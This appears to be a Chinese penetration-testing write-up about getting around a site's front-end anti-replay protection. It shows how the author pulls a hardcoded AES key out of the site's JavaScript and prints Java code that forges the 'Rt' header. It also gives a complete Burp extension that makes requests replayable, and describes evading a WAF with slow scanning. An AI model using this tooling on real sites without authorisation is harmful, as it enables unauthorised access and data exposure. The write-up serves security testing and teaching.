前言

随着当前攻防水平的不断提高，实战攻防过程中，经常能遇到前端的参数被各种各样的方式加密的情况。毫无疑问，这种方式能够防止很多脚本小子的脚步，但是很多网站就存在“金玉其外，败絮其内“的情况，将传递的参数加密了事，忽略很多系统本身存在的安全风险。本文以实战角度出发，介绍面对这种防重放的情况下的攻防技巧。

背景

某次渗透测试项目，笔者经过测试发现该网站部分关键数据包使用JS加密，并且请求包还添加相关参数用来防止重放数据包的情况，这种机制可以阻挡很多非必要的攻击。但是对渗透测试人员来说，这种技能也是应该具备的。

收集信息

拿到项目后，首先针对目标进行访问，如下图所示：随便拼接一下攻击姿势，发现存在某云WAF情况。一般遇到这种情况思路转变为，以逻辑漏洞为主，授权漏洞为辅，结合信息泄露等漏洞结束本次项目。接下来就要考虑如何信息收集，针对这种网站，单纯的目录扫描已经不适合，我的思路有两个，一个是通过前端JS进行收集，另外针对接口进行FUZZ。打开JS文件，一发入魂，上来就把所有接口给我了，这合理吗？这才是日常，挺合理的：
直接上工具，对JS文件进行一番搜索，考虑到WAF存在，笔者悄悄地进村，线程调到1，开始进攻！结果大概如下图所示：    
总结一下，笔者现在有了，所有功能的URL路径，所有的接口路径，加上笔者收集的JS信息，万事俱备！

绕过防重放字段

结合笔者已有的信息，接下来开始正式测试：首先尝试登录功能点测试：    
登录框测试的思路已经烂熟于心，看我手到擒来。利用BURP代理抓包，讲究一个稳准。再重放一下数据包，突然发现重放数据包会提示410，
笔者测试过程中还比较好奇，怎么会这么自信把所有URL明文在前端展示呢，这里还是有防护的：

POST /api/sms/sendsms HTTP/2Host: xxxContent-Length: 73Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"Sec-Ch-Ua-Mobile: ?0Authorization: Bearer nullRt: /5asJSe+gKXuuIdOsOg6kw==Content-Type: application/jsonAccept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Api-Version: 1.0Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9{"phone":"1888888881","smsTypes":2,"uniqueId":"1684756825417","code":""}

通过对Header头进行分析，发现其中RT参数正是其中关键字段，主要用来防止数据包重放，现在就需要看看这个RT参数从何而来。经过对JS代码的分析，发现了如下代码：

var aeskey2 = '1122334455667788';xxxxxfunction encryptRt(data) {var key = CryptoJS.enc.Utf8.parse(aeskey2);// 加密var encryptedData = CryptoJS.AES.encrypt(data, key, {mode: CryptoJS.mode.ECB,padding: CryptoJS.pad.Pkcs7});return encryptedData + '';}xxx

经过对该代码的分析，发现Rt参数正是通过aes方式进行加密，并且获得其中的key和加密逻辑。接下来各显神通，笔者使用java撸了一份解密代码：

import org.bouncycastle.jce.provider.BouncyCastleProvider;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.security.Security;import java.util.Base64;public class AESUtils {static {Security.addProvider(new BouncyCastleProvider());}public static String decryptData(String data, String key) throws Exception {byte[] keyBytes = key.getBytes("UTF-8");SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");cipher.init(Cipher.DECRYPT_MODE, keySpec);byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data));return new String(decrypted, "UTF-8");}public static void main(String[] args) throws Exception {String aesKey = "1122334455667788";String data = "/5asJSe+gKXuuIdOsOg6kw==";String decryptData = decryptData(data, aesKey);System.out.println(decryptData);  

通过对Rt头参数进行解密，发现其参数是时间戳，那么现在笔者就知道这套逻辑，通过Rt参数对当前数据包进行防重放校验，笔者完善一下完整加解密代码：

import org.bouncycastle.jce.provider.BouncyCastleProvider;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.security.Security;import java.util.Base64;public class AESUtils {static {Security.addProvider(new BouncyCastleProvider());}public static String encryptData(String data, String key) throws Exception {byte[] keyBytes = key.getBytes("UTF-8");SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");cipher.init(Cipher.ENCRYPT_MODE, keySpec);byte[] encrypted = cipher.doFinal(data.getBytes("UTF-8"));return Base64.getEncoder().encodeToString(encrypted);}public static String decryptData(String data, String key) throws Exception {byte[] keyBytes = key.getBytes("UTF-8");SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");cipher.init(Cipher.DECRYPT_MODE, keySpec);byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data));return new String(decrypted, "UTF-8");}

进行测试，效果符合预期。    
截止到目前笔者已经了解了Rt参数的前世今生，现在考虑如何更方便的开展笔者的渗透工作。

封装插件，开始渗透

已经知道RT参数的前世今生，现在封装Burp插件，绕过RT校验！关于如何写Burp插件参考文末文章，这里主要写两个地方：1，如何调用BURP接口，替换RT参数2，如何调用笔者的加密逻辑。在BURP插件的开发过程中，目录结构如下，笔者只需要添加一个加密逻辑的java文件，然后在BurpExtender中直接调用即可。    
将笔者的加密逻辑命名为ReplaceRT，接着写Burpextender即可。

package burp;import java.io.PrintWriter;import java.util.Arrays;import java.util.List;public class BurpExtender implements IBurpExtender, IHttpListener{private IBurpExtenderCallbacks callbacks;private IExtensionHelpers helpers;private PrintWriter stdout;private PrintWriter mStdOut;// implement IBurpExtender@Overridepublic void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks){stdout = new PrintWriter(callbacks.getStdout(), true);this.callbacks = callbacks;helpers = callbacks.getHelpers();callbacks.setExtensionName("Rt_replace_Demo");callbacks.registerHttpListener(this);//this.mStdOut.println("Author: fu11y");}@Overridepublic void processHttpMessage(int toolFlag,boolean messageIsRequest,IHttpRequestResponse messageInfo){try{if (toolFlag == 64 || toolFlag == 16 || toolFlag == 32 || toolFlag == 4){if (messageIsRequest){IRequestInfo analyzeRequest = helpers.analyzeRequest(messageInfo);String request = new String(messageInfo.getRequest());byte[] body = request.substring(analyzeRequest.getBodyOffset()).getBytes();List<String> headers = analyzeRequest.getHeaders();for(String header : headers){stdout.println("header"+header);if(header.startsWith("Rt")){headers.remove(header);break;}}long currentTimestampSeconds = System.currentTimeMillis();String aesKey = "1122334455667788";String data = String.valueOf(currentTimestampSeconds);String Rt = "Rt: "+ReplaceRt.encryptData(data,aesKey);// 替换header中的Rtheaders.add(Rt);stdout.println(Rt);byte[] new_Request = helpers.buildHttpMessage(headers,body);stdout.println(helpers.analyzeRequest(new_Request).getHeaders());messageInfo.setRequest(new_Request);}}}catch(Exception e){stdout.println(e);}}}

打jar包，导入到burp中一气呵成，闲庭信步，那么到现在，笔者就拥有了绕过防重放的burp插件包，效果如下：
已经是可以重放了，结合之前泄露的URL和接口信息，开测！还记得之前的思路吗？接下来针对之前搜集的JS资产开始一个一个测试：成果如下：未授权信息枚举，未授权文件上传；    

点到为止，本次收工。

总结

如今渗透测试过程中经常能遇到前端加密和防止重放的情况，针对这种，通过JS分析出加密方法，结合具体业务，一般都能拿到比较不错的收获。